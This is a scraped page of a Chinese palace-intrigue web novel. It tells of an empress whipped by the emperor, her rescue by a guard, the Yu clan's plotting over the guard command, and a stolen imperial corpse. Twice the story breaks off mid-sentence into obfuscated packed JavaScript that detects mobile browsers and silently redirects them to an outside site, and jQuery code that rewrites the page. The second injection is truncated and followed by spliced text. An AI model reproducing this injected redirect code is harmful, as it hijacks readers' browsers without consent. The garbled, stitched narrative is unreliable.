玉扶疏眼底泛起血红,紧咬下颌,牙齿泛着酸涩,她似乎品尝到鲜血的腥甜,她僵着脖颈与谢池渊对视,看到他眼中满是恶意的,玩弄的诡笑。 玉扶疏曾无数次幻想过,用簪子刺穿谢池渊的喉咙,看着他的血喷出来,她幻想他那时该是怎样的眼神,他的血应该是黑臭的,脏污着她的手,她会一点一点用力,刺穿他,看着他如何狰狞,如何绝望,如何不甘咽气的模样。 玉扶疏闭上双眼,“拭雪,给本宫下去!”再睁眼时,走向赵长侍,伸手去拿鞋子,背后,拭雪一声凄哀的哭喊。 “娘娘!” 玉扶疏抓住鞋子,“你给本宫下去!” 拭雪掩不住哭声,又听玉扶疏一声怒喝,“下去!” 拭雪身子一抖,擦抹着脸上的泪,跪在地上膝行离去。 谢池渊看着拿起鞋子的玉扶疏,嘴角的弧度不断扩大,终于大笑出声,两颊的赘肉在震颤着。 玉扶疏紧绷的身体在抖,紧咬的牙关也在止不住的打颤,越是克制,身体越是不听她的摆布,脚下的每一步,都走得十分僵硬,她走到床榻前,看向上面的姜氏。 姜氏半倚半躺在谢池渊怀里,双腿赤裸,上面只遮盖了一段水红色的薄纱,她的脚上下叠着,搭在床榻边沿,看着玉扶疏走来,转了个身,抬起一条腿,神情倨傲的朝玉扶疏伸出脚。 玉扶疏压抑着颤抖的身体,弯下腰,想将鞋子套在姜氏脚上,刚套上一半,姜氏突然将脚缩了回去,她坐起身,将两脚踩在地上,得意不已。 “皇后娘娘,刚刚那个姿势,妾身肚子不舒服,劳您低一低身,再帮妾身试穿吧。” 玉扶疏抓着鞋子的手不断用力,嗓音冷而沙哑,“姜氏,你不要太过分。” 姜氏闻言,顿时花容失色,楚楚可怜的哭道,“陛下,您快看皇后,妾身害怕。” 谢池渊揽住姜氏的腰安抚,对玉扶疏,“还不跪下,给朕的美人穿鞋。” 玉扶疏站着不动,凝视谢池渊。 谢池渊看着与自己僵持的玉扶疏,脸色骤变,“你这个贱妇!朕叫你跪下!” 姜氏缩在谢池渊怀中帮腔,“皇后娘娘,你讨厌妾身是小,忤逆陛下,可是死罪。” 死罪。 若她真能一死了之,一定要拉着他们一起下地狱。 玉扶疏唇角泛起一丝冷笑,她扬手,把鞋子砸向姜氏,象牙做的鞋底坚硬无比,顿时砸破了姜氏的脸蛋,有血从伤口淌了下来。 姜氏捂住脸,看着手心里的血迹,失声尖叫。 谢池渊腾地起身,他怒不可遏,挥臂一巴掌狠狠抽向玉扶疏苍白的脸颊。 ‘啪’一声震耳的脆响。 玉扶疏脑袋嗡嗡作响,陷入一阵空白,身子踉跄摇晃,险些被打倒在地。 玉扶疏摇晃着身子撞到了一旁正要躲闪的赵长侍,她心一狠,夺过他手中端着的托盘,那上面还有一只鞋子,玉扶疏把鞋子和托盘,一并朝谢池渊砸过去。 谢池渊被托盘砸中手臂,鞋子一弹,磕在他额头上,留下一道淤青,谢池渊大叫一声,接着疯了似的抽出枕下的鞭子,一鞭接一鞭的朝玉扶疏抽打过去。 玉扶疏原本还能躲闪,本能的向殿外逃跑,却很快被谢池渊从后面抓住,被他按倒在地,他的脚踩在她的背上,接着挥鞭,鞭子破空的声音震耳,一鞭下去,便听得玉扶疏一声凄厉的惨叫。 拭雪闻声,从殿外冲进来,谢池渊一鞭挥过去,抽打在她身上,“把这贱婢押出去!” 两个侍卫起身,一左一右架住哭得凄惨的拭雪,将她拖走。 殿内,赵长侍已见惯了这场面,缩在角落趴跪着。 姜氏捂着受伤的脸,咬牙恨恨地盯着地上的玉扶疏。 谢池渊双目猩红,一鞭接一鞭,发了狠的抽打在玉扶疏身上。 他边抽边骂,污言秽语,宣泄着对玉氏对玉忠节的恨。 玉扶疏原本还能挣扎,还会痛得惨叫,可很快,她的唇失去了所有血色,嫩青色的绫袄被鞭子抽破,血从鞭痕涌出,鲜红映着青绿,格外刺目。 玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940558|177335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶疏的目光开始涣散,渐渐地她只能看见地笼里火烧着的猩红的炭色,她却觉得自己很冷,冷得她难以呼吸,五脏六腑搅在一处,痛得她生不如死。 在她模糊的视线里,她第一次见到了顾流川,他从殿外跑进来。 其实那时她早已双目昏花,可后来玉扶疏无数次回想,都觉得自己十分清楚的看见了顾流川的模样。 他银色的铠甲映着烛焰,在她愈发黑暗的眼眸里闯入一道雪亮的光,他很高大,面容是清朗英俊的,连他走来的脚步声,都一下一下清晰落入她的耳畔。最终,他来到她的身边,嗓音是刻意压低的,音色却很好听,像春天的风,和煦的吹拂。 顾流川跪在谢池渊身前禀告,“陛下,玉相国进宫了。” 谢池渊手上一顿,从宣泄中回了神,“谁?谁进宫了?” 顾流川迎上谢池渊探究的视线,重复,“玉相国,相国大人进宫了。” 谢池渊盯着顾流川,暗暗咬牙,接着看向地上一动不动的玉扶疏,他并未宣泄尽兴,又狠狠朝她抽下一鞭子,鞭尾扫过地毯,立时裂出一道破痕。 谢池渊扔了手里的鞭子,用脚踢着玉扶疏,“快,快把她抬回去,来人,替朕更衣。” 玉扶疏因此得了救,顾流川把她从地上扶起来,他原本想搀着她,可她满身是伤,一瞬也站不住。 顾流川暗暗扫了眼谢池渊,他正忙着穿龙袍,看都不看一眼,被他打伤至此的玉扶疏。 顾流川低低道了声,“臣僭越了。”才把玉扶疏的手臂架在肩上,打横将人抱起,惊觉怀中的人轻飘的几乎没有重量,小跑着快速离开仙台殿。 那时的玉扶疏还不知道,这个素不相识的侍卫,为了救她,假传了消息,犯了欺君之罪。 顾流川冒死救下了她,等着他的命运,便是被谢池渊下令廷杖。 一百廷杖,那是冲着要他的命去的。 玉扶疏第一次求人,她掏空了积攒许久的积蓄,才勉强喂饱了谢池渊身边的赵长侍,他负责监督顾流川的廷杖。 顾流川留下一命,被扔到皇宫角落做苦役。 玉扶疏顶着一身的伤去看望他,他被打得皮开肉绽,只剩一口气,倒在铺满灰尘的破屋子里,身下是一张杂草编织的烂席子。 玉扶疏不明白,顾流川为何要为她这样一个毫无权势,自身难保且素不相识的人,拼出性命。 她蹲在他身前,看着趴在破席子上的他,短短两日,他暴瘦的厉害,整个人失去了精气,他的额头上全是豆大的汗珠,苍白瘦陷的脸颊沾着干涸的血污,唇上挂着他吐出的血。 那是她第一次看清楚顾流川的模样,他已是个将死之人,剩着一口气,半脚踏在阎王簿上。 玉扶疏用帕子替他擦拭,给他喂水,她已许久没为旁人落泪,可看着顾流川,她哭得泣不成声,那些压抑在她心上,经年累月的绝望把她淹没,顾流川看着她,眼睛一样是红的,但他说不出话。 可玉扶疏看清楚了,顾流川那双生而温柔的眼眸里对她的怜悯。 玉扶疏第一次恐惧死亡剥夺一个人,她祈求顾流川,“你要活下来,答应我,你一定要活着,为我活下来。” 软烟罗帐内,药膏的气味混着花香,玉扶疏慢慢从往事中抽回神思。 她又一次,连累了顾流川。 玉扶疏闭上浮满雾气的美目,无论是谁挡在前面,无论会有多么艰难,无论要付出多少,失去多少,这一次,她一定要让顾流川登上禁军统领之位。 谁也别想阻拦。 谢洵舟,亦不能。 14. 第 14 章 都城之中,玉氏府邸最为轩峻壮丽,且连年拓地起楼,堆山凿池,府内建筑既有江南移步换景之巧,徽派白墙瓦黛之雅,更有巍巍皇城之肃,集尽天下美景美物于一姓之家。 玉庭风刚打发走送锁的小厮,带着这套精巧无比的锁来见玉忠节。 玉庭风步入庭院,就见玉忠节身着褐色禅衣,正在练五禽戏。 清早的日光柔和温凉,庭院寂静,只有风吹大树摇晃的声音。 玉庭风自己还是被上门送锁的小厮催促醒的,望着衣襟湿透的玉忠节,“父亲,您怎么起得这样早?” 玉忠节专心练着五禽戏,一旁侍候的长随吴风对着玉庭风摇了摇头。 玉庭风朝吴风走去,便听他道:“老爷昨夜从宫里回来,一宿没睡。” 玉庭风惊诧,望着玉忠节已经有几分佝偻的脊背,对着空气锤了一拳,恨恨道,“这谢洵舟,我真是小看了他!” 他昨夜自然也得知了,谢洵舟联手萧妃,陷害邹平入狱。 玉忠节一套五禽戏打完,吴风递上温水泡湿又拧得半干的手帕,玉忠节一边擦汗,一边撩眼看玉庭风,“可是刘锁匠派人送锁来了?” 提起锁,玉庭风就气不打出一处来,“父亲您先前催着要,刘老自然紧赶慢赶就做出来了,只是这谢洵舟,敬酒不吃吃罚酒,您还不如一早听儿子的,调兵围了延陵王府,杀他个一了百了。” 玉忠节静听不言,走到庭院花架旁设的茶案前坐下,“把锁拿来给我瞧瞧。” 玉庭风没动作,“父亲大人,这邹平,您真的不再想想法子,救一救他么?” 玉忠节眼神一凛:“把锁拿来。” 玉庭风心里是极畏怕又敬重玉忠节这个父亲的,不敢再耽搁,将手里的木匣端上前。 玉忠节打开木匣,入目是一套螭首金锁。雕刻之人手艺巧夺天工,锁身螭龙盘踞,怒目利爪,栩栩如生,但最值得注目的,是上面镌刻的两个刚劲字体——摄政。 历来,凡受封摄政的皇族,皆可用此二字,悬匾,刻章,落款,以示权势煊赫。 玉忠节抚摸着金锁,“你等下备马车,把锁给谢洵舟送去。” “父亲!”玉庭风急道:“都到这地步了,您还要送?儿子现在就把这锁砸了!” 玉庭风说着要上前,被玉忠节一声冷喝,“放肆!” 玉忠节眼底愠怒,盯着这个不成器的儿子,先是深吸一口气,然后侧眸去看长随吴风。 吴风忙从怀中掏出一柄精巧的匕首,双手奉上。 玉忠节接下匕首,抚摸着刀鞘上的五色宝石,一手握鞘,一手握柄,一点一点抽出匕首,相比刀鞘,这刀身的用料就粗陋许多,不过被保养的极好,刃锋凌厉,不减杀气。 三十年前,玉忠节曾用这把匕首在猎场上屠杀了一头正值壮年的狼,他因此受到了太宗的赏识,也因如此,他这个生母不过婢妾的微贱庶子,才第一次有幸进入他爹玉家家主的眼睛里。 玉忠节手执匕首,鹰目寒光锐利,锋刃所过之处,擦出火星,金铁交击的铿锵声下,原本栩栩如生的螭龙被斩了首,摄政二字亦被斩碎。 玉忠节收起匕首,接着对玉庭风道:“吊唁的缟素已备好,系在这木匣上,给谢洵舟送去。” 玉庭风此时早变了先前颓唐颜色,眼睛也亮了起来,积极不已,“是,父亲,儿子这就去。” 玉庭风抱起木匣,早已迫不及待,脚下生风,刚出庭院,便与走来的李千帆碰了个照面。 玉庭风意外:“千帆,你怎来了?”说着一顿,瞧见李千帆眼角的淤青,“你…这眼睛,怎么回事?” 李千帆抬手遮挡,“无意磕碰的。”朝玉庭风尬笑了笑,“是父亲大人一早派人传信,急召我前来,我猜多半是为了昨夜之事。二哥行色匆匆,这是要去哪?” 玉庭风冷笑一声,拍了拍木匣子,“去延陵王府,给谢洵舟,送礼!” 李千帆走入庭院,见玉忠节坐在茶案前,一旁吴风正煎水烹茶。 李千帆走上前十分恭谨规矩地向玉忠节见了礼。 玉忠节抬手指着对面的席子,“坐。” 李千帆拘礼落坐,玉忠节留意到他眼角的伤却未言,转而问:“你母亲身体可还好?” 李千帆的母亲玉娇娥是玉忠节同父异母的妹妹,玉娇娥是正室所生的嫡女,上面本有两个嫡出的哥哥,只是都不幸意外地壮年而猝。 玉娇娥嫁的是侯府李家的嫡长子,生了一儿一女,大儿子李千帆,小女儿李重晚。 玉娇娥怀李千帆快要临盆时,正逢嫂子封禅月初有身孕,便约定,若能生得一儿一女,就结为夫妻。 这倒并非姑嫂二人亲厚,而是玉李两家关系盘根错节,常有姻亲,玉娇娥由公府之家下嫁侯爵,自然也不肯轻易放手娘家这株参天巨树。 近来,她正盘算着,如何把小女儿李重晚嫁给侄子玉庭风,她最强劲的对手,便是嫂子封禅月,封禅月也正筹措着把封氏的侄女嫁过来。 李千帆恭谨回复,“母亲身子安泰,含饴弄孙,每日开怀。” 玉忠节点了点头,“昨夜之事,想必你已知晓,可有什么想法?” 李千帆也是一夜未眠,从得知邹平罢职下狱后,就在琢磨皇宫禁军大统领之职的接班人选。 其实他心中想法颇多,这些年从侯府出去的人才不少,当下适合接班的正有一位,但李千帆清楚,他若贸然举荐此人,必会遭岳丈的怀疑忌惮。 李千帆从怀中拿出一封密信,“父亲大人,这是吏部侍郎官慎今晨送到我手上的,谢洵舟昨夜就向吏部递了折子,保举他的副将刘奕,出任大统领之职。” 玉忠节看了信,鹰目闪过一道寒光。 李千帆:“这谢洵舟,仗着手里有点兵权,伙同萧妃做个局,就想拿下宫防,简直痴人说梦。吏部有小婿坐镇,一切听从父亲大人的安排。” 李千帆观察着玉忠节的脸色,“不知…您心中可有了接替邹平的人选?” 玉忠节反问,“你以为何人合适?” 李千帆望着玉忠节深沉如古井一般,波澜不惊的双眸,这些年,虽然他们之间岳婿关系融洽,玉忠节也看重提拔他,可他这位权倾朝野的岳父,不怒自威,跟在玉忠节身边越久,见识过那些令他骨髓发寒的手腕,就越不敢轻言得罪。 李千帆嘴唇动了动,“小婿以为,父亲大人的学生,章之柏可堪人选,他这些年跟在王将军身边,一直统领着北大营,是个能干之人。” 玉忠节听了却道,“我记得你府上倒是出了个不得了的人才,叫沈荃,你觉得此人如何?” 李千帆闻言眉心一跳,沈荃正是他想了整夜,心中琢磨出的最好的人选,可是,这沈荃出身侯府,私下连玉忠节的面都没见过。 李千帆垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉扶疏也好奇,谢洵舟拒绝了她的结盟,明晃晃推上一个刘奕,究竟能有什么绝艳的法子,让他有信心和手握朝廷的玉忠节相争。 玉扶疏原本打算作壁上观,悠闲看戏的,可是宫外传来消息,沿路设置停放灵柩和供人休息的芦殿突然起火了。 玉扶疏当即料到是玉忠节,他想烧毁灵柩,一来可以治刘奕死罪,二来,谢池渊中毒而亡,虽在小殓时,已让人清了他口鼻中的毒血,但远不如一把大火毁尸灭迹来得万全。 玉扶疏惊骇于玉忠节的胆量,也心惊于他如此狠辣的手段。 用久了的银剪已不甚锋利,一剪下去,花枝半折,要几经磋磨,才能把多余的枝子裁断。 玉扶疏习惯了这钝器,也不觉麻烦,反倒是磋磨她的性子。 她已经从玉忠节放火焚尸的惊骇中冷静下来,细想此事,这对于她来说,倒也是有利的。 毁灭了尸体物证,哪怕谢洵舟握着赵长侍这个人证,也是孤证难鸣了。 拭雪急匆匆从殿外跑进来,喉咙颤抖,“娘娘,出事了。” 磋磨许久的花枝应声落地,玉扶疏听见拭雪颤抖的声音。 “先帝的灵柩被一伙盗匪趁着大火劫走了,遗体…丢了。”